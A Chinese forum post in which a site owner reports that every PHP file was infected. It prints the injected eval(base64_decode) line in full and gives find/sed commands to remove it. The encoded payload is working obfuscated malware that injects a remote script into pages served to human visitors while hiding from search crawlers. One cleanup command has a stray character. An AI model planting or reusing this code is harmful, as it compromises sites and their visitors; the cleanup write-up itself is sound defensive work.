网站被黑_PHP_编程开发_程序员俱乐部

网站被黑

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近日网站被黑，所有的php文件的第一行都被加上了一段代码，如下：

<?php /**/ eval(base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21yX25vJ10pKXsgICAkR0xPQkFMU1snbXJfbm8nXT0xOyAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2dtbCcpKXsgICAgIGZ1bmN0aW9uIGdtbCgpeyAgICAgIGlmICghc3RyaXN0cigkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0sImdvb2dsZWJvdCIpJiYgKCFzdHJpc3RyKCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSwieWFob28iKSkpeyAgICAgICByZXR1cm4gYmFzZTY0X2RlY29kZSgiUEhOamNtbHdkQ0J6Y21NOUltaDBkSEE2THk5dGVXSnNhVzVrYzNSMVpHbHZhVzVtYjI5dWJHbHVaUzVqYjIwdmJHd3VjR2h3SWo0OEwzTmpjbWx3ZEQ0PSIpOyAgICAgIH0gICAgICByZXR1cm4gIiI7ICAgICB9ICAgIH0gICAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2d6ZGVjb2RlJykpeyAgICAgZnVuY3Rpb24gZ3pkZWNvZGUoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0Qyl7ICAgICAgJFIzMEIyQUI4REMxNDk2RDA2QjIzMEE3MUQ4OTYyQUY1RD1Ab3JkKEBzdWJzdHIoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0QywzLDEpKTsgICAgICAkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5PTEwOyAgICAgICRSQTNENTJFNTJBNDg5MzZDREUwRjUzNTZCQjA4NjUyRjI9MDsgICAgICBpZigkUjMwQjJBQjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJBRjVEJjQpeyAgICAgICAkUjYzQkVERTZCMTkyNjZENEVGRUFEMDdBNEQ5MUUyOUVCPUB1bnBhY2soJ3YnLHN1YnN0cigkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDLDEwLDIpKTsgICAgICAgJFI2M0JFREU2QjE5MjY2RDRFRkVBRDA3QTREOTFFMjlFQj0kUjYzQkVERTZCMTkyNjZENEVGRUFEMDdBNEQ5MUUyOUVCWzFdOyAgICAgICAkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5Kz0yKyRSNjNCRURFNkIxOTI2NkQ0RUZFQUQwN0E0RDkxRTI5RUI7ICAgICAgfSAgICAgIGlmKCRSMzBCMkFCOERDMTQ5NkQwNkIyMzBBNzFEODk2MkFGNUQmOCl7ICAgICAgICRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDk9QHN0cnBvcygkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDLGNocigwKSwkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5KSsxOyAgICAgIH0gICAgICBpZigkUjMwQjJBQjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJBRjVEJjE2KXsgICAgICAgJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOT1Ac3RycG9zKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsY2hyKDApLCRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkpKzE7ICAgICAgfSAgICAgIGlmKCRSMzBCMkFCOERDMTQ5NkQwNkIyMzBBNzFEODk2MkFGNUQmMil7ICAgICAgICRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkrPTI7ICAgICAgfSAgICAgICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTM9QGd6aW5mbGF0ZShAc3Vic3RyKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOSkpOyAgICAgIGlmKCRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTM9PT1GQUxTRSl7ICAgICAgICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTM9JFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0QzsgICAgICB9ICAgICAgcmV0dXJuICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTM7ICAgICB9ICAgIH0gICAgZnVuY3Rpb24gbXJvYmgoJFJFODJFRTlCMTIxRjcwOTg5NUVGNTRFQkE3RkE2Qjc4Qil7ICAgICBIZWFkZXIoJ0NvbnRlbnQtRW5jb2Rpbmc6IG5vbmUnKTsgICAgICRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREU9Z3pkZWNvZGUoJFJFODJFRTlCMTIxRjcwOTg5NUVGNTRFQkE3RkE2Qjc4Qik7ICAgICAgIGlmKHByZWdfbWF0Y2goJy9cPFwvYm9keS9zaScsJFJBMTc5QUJEM0E3QjlFMjhDMzY5RjdCNTlDNTFCODFERSkpeyAgICAgIHJldHVybiBwcmVnX3JlcGxhY2UoJy8oXDxcL2JvZHlbXlw+XSpcPikvc2knLGdtbCgpLiJcbiIuJyQxJywkUkExNzlBQkQzQTdCOUUyOEMzNjlGN0I1OUM1MUI4MURFKTsgICAgIH1lbHNleyAgICAgIHJldHVybiAkUkExNzlBQkQzQTdCOUUyOEMzNjlGN0I1OUM1MUI4MURFLmdtbCgpOyAgICAgfSAgICB9ICAgIG9iX3N0YXJ0KCdtcm9iaCcpOyAgIH0gIH0="));?>

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base64_decode 之后发现是恶意跳到其他的网站上。

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还好用以下命令得以修复：

find . -type f -name "*.php" -exec sed -i '/eval(base64_decode("aW/d' {} \;

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之后问了个同事相关的命令也可以达到同样的效果：

find ./ -type f -name "*.php" -exec sed -i -e? '1,1 s/.*eval.*//' -e '/^$/ d' {} \;

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'1,1 s/.*eval.*//' 这个把第一行包含eval的行先换成空行，然后-e 链接后续命令? '/^$/ d'把空行删除

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